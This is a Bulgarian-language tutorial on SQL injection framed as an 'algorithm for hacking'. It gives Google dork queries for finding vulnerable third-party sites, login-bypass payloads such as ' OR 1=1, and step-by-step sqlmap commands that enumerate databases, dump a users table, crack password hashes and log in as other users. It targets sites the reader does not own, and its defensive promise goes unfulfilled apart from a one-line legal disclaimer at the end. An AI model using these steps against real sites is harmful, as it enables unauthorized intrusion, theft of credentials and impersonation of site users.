SQL инжекция – хакване на бази данни!

В началото след като прочетете заглавието може да си помислите – хей, че какво може да се обърка в една база  данни?  Вече сте забелязали, че повечето сайтове и уеб приложения винаги се свързват с някаква невидима база данни!  Независимо дали става въпрос за  MySQL, Microsoft SQL или Oracle и която и да е друга технология – базите данни са в основата на всеки сайт.

Обикновено те са разположени физически в някакъв файл, под формата на таблици с редове и колони. Ние ще разгледаме тези файлове с наличието на слаби места в тях за проникване или атакуване и какви са начините за да ги защитим. Точно това проникване и изпращане на SQL заявка през такива слаби места се нарича SQL инжекция.

Все пак за да целта е необходимо да имате понятие от езиците за създаване на базите данни и определени познания в тяхната употреба. Поради тази причина ви трябва много натрупан с годините опит, за да може,  като погледнете вида на една база веднага да определите нейните слаби места.

Какво е SQLMap?

SQLMap е страхотно средство с отворен код, което автоматизира откриване на такива данни и експлоатация на SQL Injection процеси. Поддържа широка база от СУБД, като MySQL, PostgreSQL,  SQLite, IBM DB2, Oracle, SAP MaxDB и др. Аз обикновено го използвам за ръчно откриване, за да се избегне подлагането на стрес на уеб сървъра или да бъдат блокирани от IPS / WAF устройства.

SQLMap е кодирана с езика Python програма за работа с операционна система Linux, но може да работи добре и с Windows машини, при условие че първо изтеглите и инсталирате библиотеки Python.

Алгоритъм за хакване

  1. Откриване на подходящ сайт за хакване

Първо трябва да направим търсене на сайтове уязвими за SQL инжекция и затова правим търсене в Интернет пространстовото с помощта на следните Google оператори:

  •  inurl:index.php?id=
  • inurl:gallery.php?id=
  • inurl:post.php?id=
  • inurl:article?id=
  • php?id=
  • търсене с други подобни вариации
  • а ако искаме да проверим даден сайт дали е податлив пишем нещо от рода на: php?id= inurl:site.com

Ще се учудите колко много сайтове, податливи на хакерски  атаки от този род ще намерите в Интернет!  Това което търсим в резултатите е нещо, като тези цифрички с ID в адресите на сайтове като тези http://yoursite.com/users/user.php ? ID = 3   или http://yoursite.com/gallery/ albums.php?нещо си = 532

Тези параметри са сверка с базите данни и ако не са кодирани правилно, могат да бъдат уязвими за SQL инжекция.  Друг вариант е да намерите уязвима страница с форма за търсене или за вход в сайта.

2. Команди за SQL инжекция в страници с уеб форми

Потребителите на различните сайтове достъпват базите данни, като например използват формите за влизане и пишат  пароли, имейли, имена и т.н. Ние след като познаваме езика за писане на SQL, знаем няколко универсални команди, които може да ги заместят. За да пробваме този елементарен начин за SQL инжекция,  ние пробваме  да влезнем в базата данни и сайта, като запишем в намерената форма  някоя от следните команди:

  • в полето username или потребител:   ‘OR 1=1; /*   може да пробвате също така с admin’–интервал’ където „интервал“ е бутона Space;
  • в полето за паролата поставете символите:   */– или две единични кавички с интервал по средата.

Най-общо това ще подадете командата:

SELECT * FROM Users WHERE user_id = “ OR 1=1; /* and password=*/–

Ако намерите страница с форма за търсене може да я инжектирате с:
union select null–интервал

3. Използване на специализиран софтуер за Penetration Testing

Повечето хакери използват Kali Linux в която пишат:
service postgresql start и след това msfconsole за да се свържат с Метасплойт и различи команди, като db_status, workspace и т.н.

Тук ще разкажем как същото може да се използва в компютри с Windows в няколко лесни стъпки?

Стъпка 1 – Изтеглете & Install Python 2.7.5 и го инсталирайте на вашата Windows машина. Уверете се, че версията е 2.7.5, която може да изтеглите от тук –  http://www.python.org/download/ Изберете или нормален Windows инсталатор, или x86-64 според компютъра. При стартиране приемете настройките по подразбиране. Ако всичко е минало добре, след това всички файлове Python трябва да се инсталира на дял C: \ Python27 \

Стъпка 2 – Свалете SQLMap. Може да изтеглите инструмента от тук http://sqlmap.org/, разархивирайте архива и го сложете в папката дял  C: \ за по-лесен достъп.

Стъпка 3 – Стартирайте командния редактор cmd.exe като администратор. След това отворете командния промт и посочите директорията,  която се съдържа SQLMap се свързвате с нея и може да пишете редица команди с които да разберете какво представлява дадената база данни, какви таблици има и каква информация има в тях.

Стъпка 4 – Стартирайте SQLMap. Напишете командата която е показана по-долу за да се свържете с папката, където е SQL map. 

sql-injaction1.  За да намерите т.н. GOOGLEDORK може да напишете  sqlmap.py –g sait.com Като sait.com е избрания за атака сайт.  После пиша sqlmap.py -u целия URL адрес на уязвимата страница, така научавам различни данни за сървъра и т.н. Например:  sqlmap.py –u http://site.com/modules/content/index.php?id=14 – – dbs

Това ми дава информация за базите данни. Търся някъде където пише information scheme. Под нея се намира базата данни с подобно име на сайта.

2. След като научих името на базата данни следва да намерим какви таблици има в нея.

sqlmap.py -u http://site.com/modules/content/index.php?id=14  -D ime_na_baza –tables

3. Когато разбера колко и какви таблици има следва да намерим къде е таблицата users или admin. Обикновено в тях се намират потребителите. За целта подаваме командата:

sqlmap.py -u http://site.com/modules/content/index.php?id=14  -D puzzl_xoops  -Т xoops_users – – columns

sql- инжекция

4 . Когато намерим и колоните трябва да кракнем username и паролите на потребителите регистрирани в нея. За това избираме тази с username и пишем:

sqlmap.py -u http://site.com/modules/content/index.php?id=14  -D puzzl_xoops  -Т xoops_users  -C ime_kolona – – dump

5. Проверяваме и в pass и когато намерим паролите, те обикновено  са хешнати с нещо от рода на  0801b266e23e241472310c07c85sf149, за радост може да подадем в командния ред да ги разкодира или да използваме специален хеш инструмент.

Накрая вече имаме имената на редица потребители и пароли, остава да намерим коя за кой е и да влезем в сайта от негово име.

P.S. Моля не правете това в къщи, тази дейност е противозаконна и носите наказателна отговорност. 

Източник:

  1. http://niiconsulting.com/checkmate/2014/01/from-sql-injection-to-0wnage-using-sqlmap/
  2. http://resources.infosecinstitute.com/sql-injections-introduction/ #sthash.A2fTDWQ0.dpuf
  3. http://c3pp0t-blog.blogspot.bg/2014/01/how-to-use-sqlmap-on-windows-for.html